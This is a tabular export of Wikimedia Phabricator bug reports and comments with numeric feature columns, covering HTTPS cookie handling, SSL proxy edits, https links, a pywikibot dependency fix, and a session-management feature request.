+248609,forceHTTPS cookie not deleted in Wikimedia environment,This is a bug in Extension:CentralAuth. It fails to clear the cookie when CentralAuthUser::deleteGlobalCookies() is called.,,,1378053004,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+248606,forceHTTPS cookie not deleted in Wikimedia environment,"I'm pretty sure this is at least major, not ""normal"". Is somebody working on this?",,,1378026476,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-jpulwcf2p4qtamabtdak,task_subcomment,,True,c2,3,True,,,0,True,0,1,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,1,0,1,0,0,0,0,1,0,1,0
+54497,"Edits from WMF IP, apparently SSL reverse proxy","https://en.wikipedia.org/wiki/Special:Contributions/208.80.154.51 shows edits from a WMF IP, which reverse DNS says is ssl1007.wikimedia.org
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Unbreak Now!,100.0,1375507380,1375541159.0,PHID-USER-dw53c5cb2qfhyemej57o,True,,False,PHID-TASK-b5qusmobeswj2uc3dyhy,task_description,resolved,True,c2,2,False,False,True,-4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+237481,"Edits from WMF IP, apparently SSL reverse proxy","Fixed, can be repooled whenever",,,1375541159,,PHID-USER-6vzzsmi22zem6yttr6vp,True,,,PHID-TASK-b5qusmobeswj2uc3dyhy,task_subcomment,,True,c2,2,True,,,-4,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0
+237469,"Edits from WMF IP, apparently SSL reverse proxy",Depooled. I'll add them to MW config tomorrow.,,,1375516824,,PHID-USER-xs3vxsmgivmm2tuyxsrb,True,,,PHID-TASK-b5qusmobeswj2uc3dyhy,task_subcomment,,True,c2,2,False,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+237457,"Edits from WMF IP, apparently SSL reverse proxy",Shit. ssl1007-9 needs to be added to the MWc config. I'll depool them for now.,,,1375516721,,PHID-USER-xs3vxsmgivmm2tuyxsrb,True,,,PHID-TASK-b5qusmobeswj2uc3dyhy,task_subcomment,,True,c2,2,False,,,-4,True,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0
+237447,"Edits from WMF IP, apparently SSL reverse proxy",Adding Ryan and Chris as they were doing things with ssl1001-1009 today.,,,1375507848,,PHID-USER-z3l4i7dl52qicxtephy5,True,,,PHID-TASK-b5qusmobeswj2uc3dyhy,task_subcomment,,True,c2,2,False,,,-4,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+54311,"When using https on Wikidata, only some Wikivoyage links use https","**Author:** `the.anonymouse.wikimedia`
+
+**Description:**
+When using a secure connection (https) on Wikidata, all Wikivoyage links should link to the secure page (with the prefix https: ). However, only some Wikivoyages are linked with https.
+
+For example, with https://www.wikidata.org/wiki/Q145 (United Kingdom), here are the results:
+Uses https (when using https on Wikidata): de, en, fr, it, nl, ru, sv
+Does not use https (regardless of using https on Wikidata): el, es, he, pl, pt, ro, uk
+
+The results are consistent across other items with Wikivoyage links, such as https://www.wikidata.org/wiki/Q30 (United States of America).
+
+--------------------------
+**Version**: unspecified
+**Severity**: critical",Unbreak Now!,100.0,1375249560,1381154557.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-fpz2uwebfsofzapihkx7,task_description,resolved,True,c2,1,False,False,True,-4,True,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+251987,"When using https on Wikidata, only some Wikivoyage links use https",I just checked. This seems to be fixed now. Closing.,,,1381154557,,PHID-USER-7n5fvppwj4ueprv2iuys,False,,,PHID-TASK-fpz2uwebfsofzapihkx7,task_subcomment,,True,c2,3,True,,,5,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+251983,"When using https on Wikidata, only some Wikivoyage links use https","The contents of the sites table has some wikivoyage sites with stripped protocol and others without.  This should be fixed when we re-populate the sites table, which needs to happen before next deployment (on Monday).",,,1379530310,,PHID-USER-lzhljhpbm3qfphvqyill,False,,,PHID-TASK-fpz2uwebfsofzapihkx7,task_subcomment,,True,c2,3,False,,,3,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,0,0,0,0
+251978,"When using https on Wikidata, only some Wikivoyage links use https","**the.anonymouse.wikimedia** wrote:
+
+Since https is now enabled as the default on Wikimedia sites for most users, this is even more critical now.",,,1378068281,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-fpz2uwebfsofzapihkx7,task_subcomment,,True,c2,3,False,,,0,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0
+251973,"When using https on Wikidata, only some Wikivoyage links use https",Thanks for reporting!,,,1375362859,,PHID-USER-o4wy22wrannrbargenyn,False,,,PHID-TASK-fpz2uwebfsofzapihkx7,task_subcomment,,True,c2,2,False,,,-4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+251969,"When using https on Wikidata, only some Wikivoyage links use https","Weird, but confirmed.",,,1375362847,,PHID-USER-o4wy22wrannrbargenyn,False,,,PHID-TASK-fpz2uwebfsofzapihkx7,task_subcomment,,True,c2,2,False,,,-4,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+58389,default labs MediaWiki config will generate https links,"The Puppet templates/labs-localsettings has
+if ( array_key_exists( ""SERVER_NAME"", $_SERVER ) ) {
+    $wgServer = ""//"" . $_SERVER[""SERVER_NAME""];
+}
+
+Because $wgServer is not prefixed with http:, MediaWiki thinks https://servername links will work, thus several places in the code generate them, e.g. Special:UserLogin's _Use secure connection_ link and Echo notification e-mails. But most labs instances don't have working SSL, even via instance-proxy.wmflabs.org/
+
+Project admins can't override this in orig/LocalSettings.php because these lines come after it is require_once'd.
+
+Ideally the puppet LocalSettings would determine if https worked to the labs instance, and if not set
+   $wgServer= 'http://' . $_SERVER['SERVER_NAME'];
+
+Possible workarounds include unset ($_SERVER['REQUEST_TIME'] ),  overwriting $wgServer in some later config hook, and configuring SSL on the labs instance (bug 54065).
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: http://toro.wmflabs.org/wiki/Special:UserLogin",Needs Triage,90.0,1383167520,1437710884.0,PHID-USER-gbl4hfak3cfurt3c7skd,False,PHID-USER-2nnm76h4ykalvvref2ye,False,PHID-TASK-oquy7bkqd5pvm2lbs2om,task_description,declined,True,c2,3,False,False,False,9,True,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1
+496209,default labs MediaWiki config will generate https links,"Old and unmaintained puppet code, use labs-vagrant instead!",,,1437710884,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-oquy7bkqd5pvm2lbs2om,task_subcomment,,True,c2,3,True,,,99,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+58386,setup.py should require httplib2,"Test script
+
+Running <code>python setup.py install</code> while in virtualenv does not install automatically the httplib2 dependency.
+
+```
+(pywikibot)cristian@cristian-F5N:~$ python test.py ""Alessandro_Manzoni""
+Traceback (most recent call last):
+  File ""test.py"", line 4, in <module>
+    import pywikibot
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/__init__.py"", line 313, in <module>
+    from page import Page, ImagePage, Category, Link, User, ItemPage, PropertyPage, Claim
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/page.py"", line 16, in <module>
+    import pywikibot.site
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/site.py"", line 33, in <module>
+    from pywikibot.data import api
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/data/api.py"", line 13, in <module>
+    from pywikibot.comms import http
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/comms/http.py"", line 30, in <module>
+    from httplib2 import SSLHandshakeError
+ImportError: No module named httplib2
+```
+
+`test.py` is attached.
+
+I am using Python 2.7.3 under `virtualenv` version 1.9.1 on Ubuntu 12.10.
+
+Furthermore installing the dependency with `pip install httplib2` cause the following bug.
+
+```
+(pywikibot)cristian@cristian-F5N:~$ python test.py ""Alessandro_Manzoni""
+ERROR: Traceback (most recent call last):
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/data/api.py"", line 284, in submit
+    body=paramstring)
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/comms/http.py"", line 123, in request
+    raise FatalServerError(str(request.data))
+FatalServerError: [Errno 1] _ssl.c:504: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
+
+Traceback (most recent call last):
+  File ""test.py"", line 12, in <module>
+    item = pywikibot.ItemPage.fromPage(wikipage)
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/page.py"", line 2527, in fromPage
+    repo = page.site.data_repository()
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/page.py"", line 98, in site
+    return self._link.site
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/page.py"", line 3224, in site
+    self.parse()
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/page.py"", line 3207, in parse
+    if self._site.case() == 'first-letter':
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/site.py"", line 1173, in case
+    return self.siteinfo['case']
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/site.py"", line 1167, in siteinfo
+    self._getsiteinfo()
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/site.py"", line 1100, in _getsiteinfo
+    sidata = sirequest.submit()
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/data/api.py"", line 462, in submit
+    self._data = super(CachedRequest, self).submit()
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/data/api.py"", line 284, in submit
+    body=paramstring)
+  File ""/home/cristian/.virtualenvs/pywikibot/local/lib/python2.7/site-packages/pywikibot/comms/http.py"", line 123, in request
+    raise FatalServerError(str(request.data))
+pywikibot.exceptions.FatalServerError: [Errno 1] _ssl.c:504: error:14090086:SSL routines:SSL3_GET_SERVER_CERTIFICATE:certificate verify failed
+```
+
+Steps to reproduce:
+* download core.tar.gz and unzip
+* create virtualenv
+* run <code>python setup.py install</code> from <code>core</code>
+* run <code>python test.py ""Alessandro_Manzoni""</code>
+
+--------------------------
+**Version**: core-(2.0)
+**Severity**: normal
+
+**Attached**: {F12229}",Needs Triage,90.0,1383163980,1383205592.0,PHID-USER-lkjgj76544v3vn63zgtk,False,,False,PHID-TASK-en7agonusfaxbwj475u2,task_description,resolved,True,c2,3,False,False,True,9,True,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,0,0,1,0,1,1
+265464,setup.py should require httplib2,"Change 92765 merged by jenkins-bot:
+Fix dependency installation during setup.py install
+
+https://gerrit.wikimedia.org/r/92765",,,1383201583,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-en7agonusfaxbwj475u2,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+265457,setup.py should require httplib2,"Change 92765 had a related patch set uploaded by Merlijn van Deen:
+Fix dependency installation during setup.py install
+
+https://gerrit.wikimedia.org/r/92765",,,1383165224,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-en7agonusfaxbwj475u2,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+265450,setup.py should require httplib2,"Created attachment 13633
+install log
+
+OK, I can reproduce it:
+
+wget http://tools.wmflabs.org/pywikibot/core.tar.gz
+tar -xvzf core.tar.gz
+cd core
+virtualenv .
+source bin/activate
+python setup.py install | tee installog
+
+results in the attached installog, and not in a working httplib2...
+
+**Attached**: {F12230}",,,1383164675,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-en7agonusfaxbwj475u2,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+265444,setup.py should require httplib2,"I'm confused by this, as setup.py /does/ require httplib2:
+
+
+
+    install_requires=[
+        'httplib2>=0.6.0'
+    ],
+    dependency_links=[
+        'https://git.wikimedia.org/zip/?r=pywikibot/externals/httplib2.git&format=gz#egg=httplib2-0.8-pywikibot1'
+    ],
+
+
+
+Which core.tar.gz did you download? http://tools.wmflabs.org/pywikibot/core.tar.gz , or some other version?",,,1383164291,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-en7agonusfaxbwj475u2,task_subcomment,,True,c2,3,False,,,9,True,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,0,0,0,0,0,1
+265436,setup.py should require httplib2,"Of course installing the right dependency:
+
+pip install https://git.wikimedia.org/zip/?r=pywikibot/externals/httplib2.git&format=gz#egg=httplib2-0.8-pywikibot1
+
+Solves the issue. This should be automatic.",,,1383164186,,PHID-USER-lkjgj76544v3vn63zgtk,False,,,PHID-TASK-en7agonusfaxbwj475u2,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+58280,Flow: SSL error on email notifications,"Visit a link in an email notification for a Flow event – you'll receive an SSL error.
+
+--------------------------
+**Version**: master
+**Severity**: normal",Needs Triage,90.0,1382995560,1383175363.0,PHID-USER-yu5wnmvkjecufsjgh2fa,False,,False,PHID-TASK-tdujfoz6otc4aeopydss,task_description,resolved,True,c2,3,False,False,True,8,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+259300,Flow: SSL error on email notifications,"**bsitu** wrote:
+
+solved by configuring the server",,,1383175363,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tdujfoz6otc4aeopydss,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+259299,Flow: SSL error on email notifications,"**bsitu** wrote:
+
+same for the following code:
+
+global $wgServer;
+echo $wgServer;
+
+
+http://ee-flow.wmflabs.org vs //ee-flow.wmflabs.org",,,1383160996,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tdujfoz6otc4aeopydss,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+259297,Flow: SSL error on email notifications,"**bsitu** wrote:
+
+I guess it's an configuration problem in ee-flow labs instance, the code below outputs 'http' in /maintenance/eval.php and 'https' in a web page
+
+echo SpecialPage::getTitleFor( 'Flow', 'Test' )->getFullURL( 'foo=bar', false, PROTO_HTTPS );",,,1383160738,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tdujfoz6otc4aeopydss,task_subcomment,,True,c2,3,False,,,9,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,1,0,1,0,0,0,0,0
+259293,Flow: SSL error on email notifications,"The WMF core features team tracks this bug on Mingle card https://mingle.corp.wikimedia.org/projects/flow/cards/375, but people from the community are welcome to contribute here and in Gerrit.",,,1383032735,,PHID-USER-gbl4hfak3cfurt3c7skd,False,,,PHID-TASK-tdujfoz6otc4aeopydss,task_subcomment,,True,c2,3,False,,,8,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+259290,Flow: SSL error on email notifications,What's an example link of what you're being given?,,,1382995963,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-tdujfoz6otc4aeopydss,task_subcomment,,True,c2,3,True,,,8,True,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,1,0,1,1,0,0,0,0,0
+58244,http request slow,"Some ""plain-text"" files like JS code is extremely slow to access. This has started only today. Example:
+
+http://tools.wmflabs.org/magnustools/resources/js/bootstrap.min.js
+
+Sometimes it works, though. Some lighttp issue?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1382970960,1383054215.0,PHID-USER-hms7bpiczbwhx4dxgiqw,False,,False,PHID-TASK-b72cdsauh2jnmacolc7w,task_description,resolved,True,c2,3,False,False,True,8,True,1,0,1,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,0
+256867,http request slow,"Same issue as 56158
+
+*** This bug has been marked as a duplicate of bug 56158 ***",,,1383054215,,PHID-USER-h75guknmwivm6x37iute,False,,,PHID-TASK-b72cdsauh2jnmacolc7w,task_subcomment,,True,c2,3,False,,,8,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+58212,Add a feature to track and terminate specific login sessions,"In facebook ( https://www.facebook.com/settings?tab=security ), one can selectively log ones self out of other current sessions, but in Mediawiki, one is helpless if one wants to log out of a session for which one no longer has access to the terminal of.
+
+Please implement being able to log out of selected other sessions, or at least a way of logging out of everything everywhere, short of changing one's password.
+
+From the other task:
+
+Currently, there’s no way for me to see which sessions are valid/active for my account on Wikimedia projects – if I want to be sure that I can’t be compromised by an old session, I have to change my password. It would be useful if MediaWiki instead offered a way to list those sessions, and ideally allowed me to selectively terminate them as well.
+
+GitHub and Twitter have such a feature, for example:
+{F30311189, layout=inline} {F30311223, layout=inline}
+
+In MediaWiki, this is currently offered by [Extension:SecureSessions](https://www.mediawiki.org/wiki/Extension:SecureSessions) (CC @Parent5446), but that extension isn’t deployed on Wikimedia wikis and also doesn’t always work, for example due to T73066; in T73066#2386198, @Anomie outlined an alternative way to track sessions. I think it might be worth adding this as a core feature.
+
+See also:
+{T55156}",Needs Triage,90.0,1382874660,,PHID-USER-awbqewknju4hbrnah6pm,False,,False,PHID-TASK-bnxu7zommqo3txisxlf7,task_description,open,True,c2,3,False,False,,8,True,0,1,0,1,0,1,1,0,0,1,1,1,0,0,1,1,1,1,1,0,1,0,0,0,1,1,1,0,1,1,0,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,1,1,0,1,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,1,1,1,1,1,1,1,1,1,1
+1922028,Add a feature to track and terminate specific login sessions,">>! In T58212#7951705, @Iniquity wrote:
+> As far as I know, we save information about the session
+
+We don't, on several levels:
+* We don't store information that would help the user identify the session (IP/geodata, user agent etc).
+* We do not store the sessions in such a way that would allow querying all sessions for a given user - they are just values in a key-value store that's keyed by the session cookie's value (although Wikimedia uses Cassandra for that, so infrastructurally a secondary index by user ID wouldn't be a big change, but it would have to circumvent all the session store abstractions in MediaWiki, which don't assume anything beyond a key-value store).
+* Most crucially, sessions (in the MediaWiki sense) aren't even that relevant to staying logged in. They have a short lifetime; what the user perceives as long-term ""sessions"" are really just tokens stored in the user table and matched against a long-lived cookie. That's going to be the same token for all devices where the user is logged in; there isn't any kind of individual data structure for each of those devices.",,,1653421123,,PHID-USER-a6p24cvyblhfzc7we7nc,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,True,,,455,True,1,1,0,1,1,1,1,0,1,0,1,1,0,0,1,1,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,0,0,1,0,1,1,1,1,1,1,1,0,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,0,1,0,1,1
+1921485,Add a feature to track and terminate specific login sessions,"As far as I know, we save information about the session, perhaps now it only needs to be displayed?",,,1653349352,,PHID-USER-tuy2dac6pfhknbtqmqgh,False,,,PHID-TASK-bnxu7zommqo3txisxlf7,task_subcomment,,True,c2,3,False,,,455,True,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,0
